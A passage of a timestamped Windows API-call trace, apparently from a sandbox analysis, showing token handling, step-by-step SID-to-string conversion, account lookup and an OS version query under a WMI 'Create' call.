pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0057.466] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0057.466] SetLastError (dwErrCode=0x0) [0057.466] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0057.466] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0057.466] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0057.466] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f530 [0057.466] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f530, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0057.466] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f530 | out: hHeap=0x2e0000) returned 1 [0057.468] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0057.469] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0057.469] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0057.469] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0057.469] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0057.469] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0057.469] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0057.471] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0057.471] GetCurrentThread () returned 0xfffffffffffffffe [0057.471] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2e0) returned 1 [0057.471] SetEvent (hEvent=0x1f0) returned 1 [0057.472] free (_Block=0xed270) [0057.472] DuplicateTokenEx (in: hExistingToken=0x2e0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2d4) returned 1 [0057.473] malloc (_Size=0x48) returned 0xed270 [0057.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4b667100, dwHighDateTime=0x1d9eb0c)) [0057.473] SetEvent (hEvent=0x1f0) returned 1 [0057.473] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0057.473] GetLastError () returned 0x7a [0057.473] malloc (_Size=0x2c) returned 0xee200 [0057.473] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0057.473] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0057.473] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0057.473] malloc (_Size=0x1c) returned 0xeff30 [0057.474] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0057.474] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0057.474] malloc (_Size=0x18) returned 0xeef00 [0057.474] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0057.474] malloc (_Size=0x18) returned 0xeef20 [0057.474] malloc (_Size=0x18) returned 0xef020 [0057.474] SysStringLen (param_1="S-1-") returned 0x4 [0057.474] SysStringLen (param_1="5") returned 0x1 [0057.474] memcpy (in: _Dst=0x381268, _Src=0x347098, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0057.474] memcpy (in: _Dst=0x381270, _Src=0x339768, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0057.474] free (_Block=0xeef00) [0057.474] free (_Block=0xeef20) [0057.474] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0057.474] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0057.474] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0057.474] malloc (_Size=0x18) returned 0xeef20 [0057.474] malloc (_Size=0x18) returned 0xeef00 [0057.474] SysStringLen (param_1="S-1-5") returned 0x5 [0057.474] SysStringLen (param_1="-") returned 0x1 [0057.474] memcpy (in: _Dst=0x339768, _Src=0x381268, _Size=0xc | out: _Dst=0x339768) returned 0x339768 [0057.474] memcpy (in: _Dst=0x339772, _Src=0x347098, _Size=0x4 | out: _Dst=0x339772) returned 0x339772 [0057.474] free (_Block=0xef020) [0057.475] free (_Block=0xeef20) [0057.475] malloc (_Size=0x18) returned 0xeef20 [0057.475] malloc (_Size=0x18) returned 0xef020 [0057.475] SysStringLen (param_1="S-1-5-") returned 0x6 [0057.475] SysStringLen (param_1="21") returned 0x2 [0057.475] memcpy (in: _Dst=0x347098, _Src=0x339768, _Size=0xe | out: _Dst=0x347098) returned 0x347098 [0057.475] memcpy (in: _Dst=0x3470a4, _Src=0x381268, _Size=0x6 | out: _Dst=0x3470a4) returned 0x3470a4 [0057.475] free (_Block=0xeef00) [0057.475] free (_Block=0xeef20) [0057.475] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0057.475] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0057.475] malloc (_Size=0x18) returned 0xeef20 [0057.475] malloc (_Size=0x18) returned 0xeef00 [0057.475] SysStringLen (param_1="S-1-5-21") returned 0x8 [0057.475] SysStringLen (param_1="-") returned 0x1 [0057.475] memcpy (in: _Dst=0x381268, _Src=0x347098, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0057.475] memcpy (in: _Dst=0x381278, _Src=0x339768, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0057.475] free (_Block=0xef020) [0057.475] free (_Block=0xeef20) [0057.475] malloc (_Size=0x18) returned 0xeef20 [0057.475] malloc (_Size=0x18) returned 0xef020 [0057.475] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0057.475] SysStringLen (param_1="4219442223") returned 0xa [0057.475] memcpy (in: _Dst=0x337698, _Src=0x381268, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0057.476] memcpy (in: _Dst=0x3376aa, _Src=0x347098, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0057.476] free (_Block=0xeef00) [0057.476] free (_Block=0xeef20) [0057.476] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0057.476] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0057.476] malloc (_Size=0x18) returned 0xeef20 [0057.476] malloc (_Size=0x18) returned 0xeef00 [0057.476] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0057.476] SysStringLen (param_1="-") returned 0x1 [0057.476] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0057.476] memcpy (in: _Dst=0x33833e, _Src=0x381268, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0057.476] free (_Block=0xef020) [0057.476] free (_Block=0xeef20) [0057.476] malloc (_Size=0x18) returned 0xeef20 [0057.476] malloc (_Size=0x18) returned 0xef020 [0057.476] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0057.476] SysStringLen (param_1="4223814209") returned 0xa [0057.476] memcpy (in: _Dst=0x34d848, _Src=0x338318, _Size=0x2a | out: _Dst=0x34d848) returned 0x34d848 [0057.476] memcpy (in: _Dst=0x34d870, _Src=0x381268, _Size=0x16 | out: _Dst=0x34d870) returned 0x34d870 [0057.476] free (_Block=0xeef00) [0057.476] free (_Block=0xeef20) [0057.476] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0057.476] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0057.477] malloc (_Size=0x18) returned 0xeef20 [0057.477] malloc (_Size=0x18) returned 0xeef00 [0057.477] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0057.477] SysStringLen (param_1="-") returned 0x1 [0057.477] memcpy (in: _Dst=0x34d958, _Src=0x34d848, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0057.477] memcpy (in: _Dst=0x34d994, _Src=0x381268, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0057.477] free (_Block=0xef020) [0057.477] free (_Block=0xeef20) [0057.477] malloc (_Size=0x18) returned 0xeef20 [0057.477] malloc (_Size=0x18) returned 0xef020 [0057.477] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0057.477] SysStringLen (param_1="3835049652") returned 0xa [0057.477] memcpy (in: _Dst=0x34d848, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34d848) returned 0x34d848 [0057.477] memcpy (in: _Dst=0x34d886, _Src=0x381268, _Size=0x16 | out: _Dst=0x34d886) returned 0x34d886 [0057.477] free (_Block=0xeef00) [0057.477] free (_Block=0xeef20) [0057.477] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0057.477] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0057.477] malloc (_Size=0x18) returned 0xeef20 [0057.477] malloc (_Size=0x18) returned 0xeef00 [0057.477] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0057.477] SysStringLen (param_1="-") returned 0x1 [0057.477] memcpy (in: _Dst=0x34d958, _Src=0x34d848, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0057.477] memcpy (in: _Dst=0x34d9aa, _Src=0x381268, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0057.478] free (_Block=0xef020) [0057.478] free (_Block=0xeef20) [0057.478] malloc (_Size=0x18) returned 0xeef20 [0057.478] malloc (_Size=0x18) returned 0xef020 [0057.478] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0057.478] SysStringLen (param_1="1000") returned 0x4 [0057.478] memcpy (in: _Dst=0x34d848, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34d848) returned 0x34d848 [0057.478] memcpy (in: _Dst=0x34d89c, _Src=0x381268, _Size=0xa | out: _Dst=0x34d89c) returned 0x34d89c [0057.478] free (_Block=0xeef00) [0057.478] free (_Block=0xeef20) [0057.478] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0057.478] malloc (_Size=0x5e) returned 0xf0800 [0057.478] free (_Block=0xef020) [0057.478] malloc (_Size=0x18) returned 0xef020 [0057.479] free (_Block=0xf0800) [0057.479] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0057.480] GetLastError () returned 0x7a [0057.480] malloc (_Size=0x14) returned 0xeef20 [0057.480] malloc (_Size=0x16) returned 0xeef00 [0057.480] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebcca4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0057.480] malloc (_Size=0x18) returned 0xeef60 [0057.480] malloc (_Size=0x18) returned 0xef080 [0057.480] free (_Block=0xeef20) [0057.480] free (_Block=0xeef00) [0057.480] free (_Block=0xeff30) [0057.481] free (_Block=0xef080) [0057.481] free (_Block=0xeef60) [0057.481] free (_Block=0xef020) [0057.481] free (_Block=0xee200) [0057.481] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.481] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0057.481] GetLastError () returned 0x7a [0057.481] malloc (_Size=0x2c) returned 0xee240 [0057.481] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0057.481] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0057.482] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0057.482] malloc (_Size=0x1c) returned 0xeff30 [0057.482] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0057.482] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0057.482] malloc (_Size=0x18) returned 0xef020 [0057.482] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0057.482] malloc (_Size=0x18) returned 0xeef60 [0057.482] malloc (_Size=0x18) returned 0xef080 [0057.482] SysStringLen (param_1="S-1-") returned 0x4 [0057.482] SysStringLen (param_1="5") returned 0x1 [0057.482] memcpy (in: _Dst=0x347098, _Src=0x339768, _Size=0xa | out: _Dst=0x347098) returned 0x347098 [0057.482] memcpy (in: _Dst=0x3470a0, _Src=0x381268, _Size=0x4 | out: _Dst=0x3470a0) returned 0x3470a0 [0057.482] free (_Block=0xef020) [0057.482] free (_Block=0xeef60) [0057.482] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0057.482] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0057.482] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0057.482] malloc (_Size=0x18) returned 0xeef60 [0057.482] malloc (_Size=0x18) returned 0xef020 [0057.482] SysStringLen (param_1="S-1-5") returned 0x5 [0057.482] SysStringLen (param_1="-") returned 0x1 [0057.482] memcpy (in: _Dst=0x381268, _Src=0x347098, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0057.482] memcpy (in: _Dst=0x381272, _Src=0x339768, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0057.482] free (_Block=0xef080) [0057.483] free (_Block=0xeef60) [0057.483] malloc (_Size=0x18) returned 0xeef60 [0057.483] malloc (_Size=0x18) returned 0xef080 [0057.483] SysStringLen (param_1="S-1-5-") returned 0x6 [0057.483] SysStringLen (param_1="21") returned 0x2 [0057.483] memcpy (in: _Dst=0x339768, _Src=0x381268, _Size=0xe | out: _Dst=0x339768) returned 0x339768 [0057.483] memcpy (in: _Dst=0x339774, _Src=0x347098, _Size=0x6 | out: _Dst=0x339774) returned 0x339774 [0057.483] free (_Block=0xef020) [0057.483] free (_Block=0xeef60) [0057.483] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0057.483] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0057.483] malloc (_Size=0x18) returned 0xeef60 [0057.483] malloc (_Size=0x18) returned 0xef020 [0057.483] SysStringLen (param_1="S-1-5-21") returned 0x8 [0057.483] SysStringLen (param_1="-") returned 0x1 [0057.483] memcpy (in: _Dst=0x347098, _Src=0x339768, _Size=0x12 | out: _Dst=0x347098) returned 0x347098 [0057.483] memcpy (in: _Dst=0x3470a8, _Src=0x381268, _Size=0x4 | out: _Dst=0x3470a8) returned 0x3470a8 [0057.483] free (_Block=0xef080) [0057.483] free (_Block=0xeef60) [0057.483] malloc (_Size=0x18) returned 0xeef60 [0057.483] malloc (_Size=0x18) returned 0xef080 [0057.483] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0057.483] SysStringLen (param_1="4219442223") returned 0xa [0057.483] memcpy (in: _Dst=0x337698, _Src=0x347098, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0057.484] memcpy (in: _Dst=0x3376aa, _Src=0x339768, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0057.484] free (_Block=0xef020) [0057.484] free (_Block=0xeef60) [0057.484] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0057.484] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0057.484] malloc (_Size=0x18) returned 0xeef60 [0057.484] malloc (_Size=0x18) returned 0xef020 [0057.484] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0057.484] SysStringLen (param_1="-") returned 0x1 [0057.484] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0057.484] memcpy (in: _Dst=0x33833e, _Src=0x347098, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0057.484] free (_Block=0xef080) [0057.484] free (_Block=0xeef60) [0057.484] malloc (_Size=0x18) returned 0xeef60 [0057.484] malloc (_Size=0x18) returned 0xef080 [0057.484] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0057.484] SysStringLen (param_1="4223814209") returned 0xa [0057.484] memcpy (in: _Dst=0x34d958, _Src=0x338318, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0057.484] memcpy (in: _Dst=0x34d980, _Src=0x347098, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0057.484] free (_Block=0xef020) [0057.484] free (_Block=0xeef60) [0057.484] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0057.484] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0057.484] malloc (_Size=0x18) returned 0xeef60 [0057.485] malloc (_Size=0x18) returned 0xef020 [0057.485] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0057.485] SysStringLen (param_1="-") returned 0x1 [0057.485] memcpy (in: _Dst=0x34d848, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34d848) returned 0x34d848 [0057.485] memcpy (in: _Dst=0x34d884, _Src=0x347098, _Size=0x4 | out: _Dst=0x34d884) returned 0x34d884 [0057.485] free (_Block=0xef080) [0057.485] free (_Block=0xeef60) [0057.485] malloc (_Size=0x18) returned 0xeef60 [0057.485] malloc (_Size=0x18) returned 0xef080 [0057.485] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0057.485] SysStringLen (param_1="3835049652") returned 0xa [0057.485] memcpy (in: _Dst=0x34d958, _Src=0x34d848, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0057.485] memcpy (in: _Dst=0x34d996, _Src=0x347098, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0057.485] free (_Block=0xef020) [0057.485] free (_Block=0xeef60) [0057.485] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0057.485] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0057.485] malloc (_Size=0x18) returned 0xeef60 [0057.485] malloc (_Size=0x18) returned 0xef020 [0057.485] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0057.485] SysStringLen (param_1="-") returned 0x1 [0057.485] memcpy (in: _Dst=0x34d848, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34d848) returned 0x34d848 [0057.485] memcpy (in: _Dst=0x34d89a, _Src=0x347098, _Size=0x4 | out: _Dst=0x34d89a) returned 0x34d89a [0057.485] free (_Block=0xef080) [0057.486] free (_Block=0xeef60) [0057.486] malloc (_Size=0x18) returned 0xeef60 [0057.486] malloc (_Size=0x18) returned 0xef080 [0057.486] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0057.486] SysStringLen (param_1="1000") returned 0x4 [0057.486] memcpy (in: _Dst=0x34d958, _Src=0x34d848, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0057.486] memcpy (in: _Dst=0x34d9ac, _Src=0x347098, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0057.486] free (_Block=0xef020) [0057.486] free (_Block=0xeef60) [0057.486] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0057.486] malloc (_Size=0x5e) returned 0xf0800 [0057.486] free (_Block=0xef080) [0057.486] malloc (_Size=0x18) returned 0xef080 [0057.486] free (_Block=0xf0800) [0057.486] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0057.487] GetLastError () returned 0x7a [0057.487] malloc (_Size=0x14) returned 0xeef60 [0057.487] malloc (_Size=0x16) returned 0xef020 [0057.487] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0057.488] malloc (_Size=0x18) returned 0xeef00 [0057.488] malloc (_Size=0x18) returned 0xeef20 [0057.488] free (_Block=0xeef60) [0057.488] free (_Block=0xef020) [0057.488] free (_Block=0xeff30) [0057.488] free (_Block=0xeef20) [0057.488] free (_Block=0xeef00) [0057.488] free (_Block=0xef080) [0057.489] free (_Block=0xee240) [0057.489] SetEvent (hEvent=0x1f0) returned 1 [0057.490] free (_Block=0xed2c0) [0057.490] 